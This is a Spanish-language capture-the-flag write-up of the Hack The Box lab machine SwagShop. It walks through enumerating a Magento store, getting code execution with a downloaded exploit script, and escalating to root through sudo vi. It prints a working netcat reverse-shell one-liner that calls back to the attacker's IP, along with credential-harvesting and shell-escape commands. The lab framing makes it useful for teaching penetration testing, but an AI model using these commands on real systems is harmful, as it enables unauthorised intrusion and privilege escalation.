Dificultad: Fácil
En primer lugar, nos creamos un directorio con el nombre de la máquina desde el que trabajaremos:
sudo mkdir SwagShop
Ahora, mediante la función mkt
que tengo previamente definida en la .zshrc
crearemos nuestros directorios de trabajo:
sudo mkt
Esta función está definida para crearnos cuatro directorios (nmap
, content
, exploits
y scripts
) desde los cuales poder trabajar a la hora de realizar las máquinas de HTB.
ping
y vemos como nos reporta un ttl=63, por tanto, ya sabemos que estamos frente una máquina Linux.
ping -c 1 10.10.10.140
Ahora vamos a ver mediante whatweb
que más podemos ver:
whatweb 10.10.10.140
Vemos que es un sistema Linux Apache 2.4.18 en el cual corre un servicio http
el cual está basado en Magento
.
Es una plataforma de comercio en línea, de código abierto (open source) y escrita en PHP, con la que puedes llevar a cabo todo tipo de proyectos relacionados con la creación de páginas web de venta en Internet.
Es una herramienta para el diseño y desarrollo de tu tienda online, permitiéndote una gestión avanzada de distintas áreas, incluyendo el marketing y el posicionamiento web.
Ahora mediante nmap
realizaremos un escaneo de puertos:
nmap -p- --open -sS --min-rate 5800 -vvv -n -Pn 10.10.10.140 -oG allPorts2
Vemos como nos reporta el puerto 80 y el puerto 20.
Intentamos ver el dominio http://10.10.10.140/
y vemos como nos redirige hasta swagshop.htb
, pero no nos permite ver la página. Para ello vamos a registrar el dominio en nuestra carpeta /etc/hosts
e introducimos la Ip de la máquina víctima y el host swagshop.htb
:
sudo nano /etc/hosts
Ahora volvemos a nuestro buscador y vemos como ya nos muestra la página.
Pasamos a revisar la página. Como podemos ver la página es bastante funcional, se trata de una página de venta de productos de HTB, contiene varios enlaces y podemos ver como nos permite comprar y tratar de registrarnos.
sudo apt install gobuster
Para ello especificaremos el dominio de la víctima y el diccionario de rutas que vamos a utilizar. En este caso vamos a utilizar un diccionario llamado directory-list-2.3-medium.txt
el cual es parte del repositorio seclists
Para descargar el repositorio:
sudo apt install seclists
Ya tenemos gobuster
y el repositorio seclists
, ahora procederemos con el escaneo:
gobuster dir -u http://10.10.10.140 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
dir
: Se usa para especificar la opción de directorios.-u
: Se emplea para especificar una url
.-w
: Especifica el diccionario que vamos a usar.Podemos ver que nos reporta una serie de directorios. Tras comprobarlos, veo que el directorio app
contiene otros directorios.
Esto podemos confirmarlo volviendo a pasar el gobuster
e incluyendo el directorio app
en la url.
Vamos a tratar de acceder al directorio app
desde el navegador.
Tras ir verificando los directorios, encontramos que dentro de etc/
en el archivo local.xml
encontramos unas credenciales.
Vemos como nos reporta un username como root
y una password:
Guardaremos esta información en caso de que nos sea útil más tarde. Ahora vamos a tratar de generar una reverse shell. Buscando reportes de vulnerabilidades sobre Magento, encuentro en github la siguiente herramienta escrita en python3, la cual nos permite crear una reverse shell en páginas creadas con Magento. Para ello, la herramienta nos registra automáticamente con el nombre y contraseña que le proporcionemos. Por defecto nos define str
tanto como usuario como contraseña.
Para descargar la herramienta en nuestro directorio actual:
wget https://raw.githubusercontent.com/epi052/htb-scripts-for-retired-boxes/master/swagshop/magento-oneshot.py
Ahora tenemos que darle permiso de ejecución:
sudo chmod +x magento-oneshot.py
Ya tenemos nuestra herramienta preparada, ahora solo debemos especificar el host de la víctima http://swagshop.htb/index.php
y el comando que queramos ejecutar:
python3 magento-oneshot.py --command whoami http://swagshop.htb/index.php
--command
: Se usa para especificar un comando. En nuestro caso whoami
.Vemos como funciona perfectamente y como nos reconoce como www-data
.
Desde aquí ya podríamos hacer cositas, reportando distintos comandos, podríamos ir interactuando con el sistema, pero no es práctico. Para poder trabajar bien vamos a tratar de montar una shell más cómoda.
Para ello vamos a ver primero si disponemos de netcat
para tratar de establecer una reverse shell:
python3 magento-oneshot.py --command "wich nc" http://swagshop.htb/index.php
Ya sabemos que si disponemos de netcat. Ahora vamos a tratar de establecer una reverse shell. En el siguiente enlace, podréis ver un gran repertorio de herramientas desde las que establecer shells inversas.
Nosotros vamos a utilizar la de Netcat:
https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Primero preparamos en una terminal aparte, con nuestro comando netcat nc
en escucha por el puerto 8080
.
nc -lnvp 8080
Finalmente, especificamos el comando que nos reporta el artículo dentro de nuestro comando anterior, también especificamos nuestra Ip (En este caso es nuestra vpn de HTB) y el puerto desde el que nos pondremos en escucha, 8080
.
python3 magento-oneshot.py --command "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.29 8080 >/tmp/f" http://swagshop.htb/index.php
Ya tenemos nuestro shell. Pero sigue sin ser funcional del todo.
script /dev/null -c bash
Ahora pulsamos Cntl + z
enviamos el proceso a segundo plano. Y ejecutamos lo siguiente:
Ejecutamos el siguiente comando:
stty raw -echo; fg
Y terminamos reseteando la shell:
reset xterm
Ahora ya tenemos una shell más estable y potente. También podemos cerrar la terminal de escucha por nc
, ya que esta shell es independiente y no se nos caerá.
Como vemos la shell nos permite utilizar Cntrl + c
sin expulsarnos, pero aún no nos permite utilizar Cntrl + l
para limpiar la shell y si utilizamos un nano
, vemos como tampoco aprovecha todo el monitor.
Aunque con esta shell ya se podría realizar las tareas restantes perfectamente, voy a mostrar como solucionar estos dos pequeños inconvenientes y así tener la shell al 100% funcional.
Para ello primero solucionaremos el problema del Cntrl + l
de la siguiente manera, si realizamos un echo $TERM
vemos que tiene el valor dumb
y nosotros queremos que igual que nuestra shell, valga xterm
:
echo $TERM
Ahora ya podremos limpiar la pantalla mediante Cntrl + l
. Bien, ya solo falta regular el ancho y la altura de nuestra shell, para ello primero debemos conocer que medidas tiene nuestro monitor para poder ajustarlo, para verlo, abrimos una terminal nueva desde nuestro directorio e introducimos:
stty size
Copiamos los dos números. Ahora volvemos a la reverse shell y podemos ver mediante el mismo comando que las proporciones son mucho menores. Para ajustarlo realizamos lo siguiente:
stty size
stty rows 36 columns 133
Una vez tengamos todo ajustado, vamos a por las flags. Para conseguir la primera, simplemente nos dirigimos al directorio raíz /
:
cd /
Y vamos a la carpeta /home/haris
donde encontraremos el primer archivo user.txt
con la primera flag.
cd /home/haris
cat user.txt
Ahora nos faltaría autentificarnos como root
. Tras comprobar que no funcionan las credenciales previamente recopiladas en la base de datos mysql para conectarnos de forma directa como root
, así que vamos a tratar de utilizarlas para conectarnos mediante mysql
.
mysql -uroot -p
Genial, ahora vemos como la password conseguida anteriormente en la base de datos dentro del archivo local.xml
nos permite conectarnos.
Una vez dentro de mysql
vamos a ver las bases de datos:
show databases;
Vemos como existe una base de datos llamada como la máquina swagshop
. Intentemos ver sus tablas. Para ello primero ingresamos a ella mediante use
:
use swagshop;
Y ahora visualizamos las tablas:
show tables;
Vemos como se nos reportan un mentón, pero una de las más interesantes es admin_user
. Para ver más información:
describe admin_user;
Vamos a ver que se nos reporta dentro de username
y password
:
select username,password from admin_user;
Vemos como nos reporta dos usuarios, forme
que es el usuario que creamos nosotros a través del script de python3 y haris
el cual nos indica una password hasheada. Yo he intentado descifrar el hash de varias maneras y no he conseguido extraer la contraseña.
Al no poder encontrar la password decidí buscar vulnerabilidades ya reportadas de nuestro sistema, que nos permita registrarnos como sudo.
Lo primero es saber si tenemos algún tipo de privilegios:
sudo -l
Vemos como nos permite ejecutar como root
sin contraseña los siguientes directorios: /usr/bin/vi
y /var/www/html/*
.
sudo /usr/bin/vi /var/www/html/*
Ahora buscaremos algún binario con el que poder aprovechar estos permisos y registrarnos como root
. Para poder buscar estas vulnerabilidades por la red debemos conocer el sistema que estamos comprometiendo, para ello, podemos ver las especificaciones del sistema mediante el siguiente comando:
lsb_release -a
Podemos ver que nos encontramos frente ana distribución Ubuntu Xenial versión 16.04. Tras buscar un poco por internet encuentro el siguiente binario que nos permite aprovechar los permisos anteriores y regístranos como root
.
Aquí podéis ver la página donde reportan el binario: https://gtfobins.github.io/gtfobins/vi/
Para poder introducir el binario y utilizar los permisos que tenemos, debemos realizar lo siguiente:
sudo /usr/bin/vi /var/www/html/* -c ':!/bin/sh' /dev/null
sudo /usr/bin/vi /var/www/html/*
: Directorios donde tenemos los permisos.-c ':!/bin/sh' /dev/null
: Binario para tratar de registranos como root
.Genial, ya estamos como root
. Podemos comprobarlo mediante el comando whoami
. Finalmente, para encontrar nuestra flag, nos dirigimos al directorio /root
donde encontramos el archivo root.txt
con nuestra última flag.
cd /root
cat root.txt